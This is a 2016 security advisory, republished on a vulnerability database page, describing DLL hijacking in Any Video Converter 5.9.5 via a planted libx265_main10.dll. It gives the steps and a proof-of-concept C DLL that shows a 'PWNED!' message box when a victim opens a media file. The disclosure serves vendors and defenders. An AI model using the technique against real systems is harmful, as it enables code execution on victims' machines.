Lucene search
+L

Any Video Converter 5.9.5 DLL Hijacking

🗓️ 09 Aug 2016 00:00:00Reported by hyp3rlinxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Vulnerability in Any Video Converter 5.9.5 allows DLL hijacking via targeted file associations.

Code
`[+] Credits: HYP3RLINX  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/ANY-VIDEO-CONVERTER-DLL-HIJACK.txt  
  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
===========================  
www.any-video-converter.com  
  
  
  
Product:  
====================================  
AVCSoft / Any Video Converter v5.9.5  
  
AVCFree.exe is a Video downloader and converter.  
  
  
  
Vulnerability Type:  
====================  
DLL Hijack  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
  
Vuln DLL: libx265_main10.dll  
  
AVCFree.exe will search for an load any DLL named "libx265_main10.dll". If  
an attacker can place the DLL in a location  
where victim opens a file in AVCFree it will load and run the attackers DLL  
and code.  
  
In testing I notice if the file type is associated with AVCFree.exe as  
default program to open with then double clicking  
the file will load and execute the vuln DLL. If file type is not associated  
with AVCFree then right clicking and choosing  
to open with AVCFree will do the same.  
  
Right click or Double click and open in AVCFree.exe following file types  
then BOOM.  
  
.mp4, .mp3, .mpg, mpeg, .iso, .divx, .wav, .flv, .avs, .mov  
  
and probably more...  
  
  
  
Exploit code(s):  
===============  
  
1) Save and compile below C code as 'libx265_main10.c' to create vuln DLL  
  
2) Place on remote share or other directory like "downloads"  
  
3) Right click or Double Click an .mpg file or any of extensions listed  
above to open with AVCFree.exe then BOOM!  
  
  
#include<windows.h>  
  
//gcc -c libx265_main10.c  
//gcc -shared -o libx265_main10.dll libx265_main10.o  
  
BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){  
switch (reason) {  
case DLL_PROCESS_ATTACH:  
MessageBox(NULL, "Arbitrary Code Exec", "PWNED!", MB_OK);  
break;  
}  
  
return 0;  
}  
  
  
  
Disclosure Timeline:  
===============================  
Vendor Notification: No Replies  
August 8, 2016 : Public Disclosure  
  
  
  
  
  
Severity Level:  
================  
Medium  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
HYP3RLINX  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation